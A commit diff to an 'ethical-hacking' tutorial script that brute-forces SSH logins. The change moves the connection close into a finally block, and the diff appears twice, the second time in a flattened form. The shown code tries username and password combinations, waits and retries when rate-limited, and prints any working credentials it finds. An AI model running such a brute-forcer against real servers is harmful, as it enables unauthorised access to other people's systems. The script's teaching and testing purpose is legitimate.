ensure ssh connection is always after we are done with it

Michael Woolweaver · web-flow · commit d4c969c08ec2 · 2021-01-05T13:09:17.000-06:00
diff --git a/ethical-hacking/bruteforce-ssh/bruteforce_ssh.py b/ethical-hacking/bruteforce-ssh/bruteforce_ssh.py
@@ -22,20 +22,22 @@ def is_ssh_open(hostname, username, password):
 except socket.timeout:
 # this is when host is unreachable
 print(f"{RED}[!] Host:{hostname} is unreachable, timed out.{RESET}")
- return False
+ returning = False
 except paramiko.AuthenticationException:
 print(f"[!] Invalid credentials for{username}:{password}")
- return False
+ returning = False
 except paramiko.SSHException:
 print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}")
 # sleep for a minute
 time.sleep(60)
- return is_ssh_open(hostname, username, password)
+ returning = is_ssh_open(hostname, username, password)
 else:
 # connection was established successfully
 print(f"{GREEN}[+] Found combo:\n\tHOSTNAME:{hostname}\n\tUSERNAME:{username}\n\tPASSWORD:{password}{RESET}")
+ returning = True
+ finally:
 client.close()
- return True
+ return returning
 
 
 if __name__ == "__main__":

-Original file line number
+Diff line change
 exceptsocket.timeout:
 # this is when host is unreachable
 print(f"{RED}[!] Host: {hostname} is unreachable, timed out.{RESET}")
 -returnFalse
 +returning=False
 exceptparamiko.AuthenticationException:
 print(f"[!] Invalid credentials for {username}:{password}")
 -returnFalse
 +returning=False
 exceptparamiko.SSHException:
 print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}")
 # sleep for a minute
 time.sleep(60)
 -returnis_ssh_open(hostname, username, password)
 +returning=is_ssh_open(hostname, username, password)
 else:
 # connection was established successfully
 print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}")
 +returning=True
 +finally:
 client.close()
 -returnTrue
 +returnreturning
 if__name__=="__main__":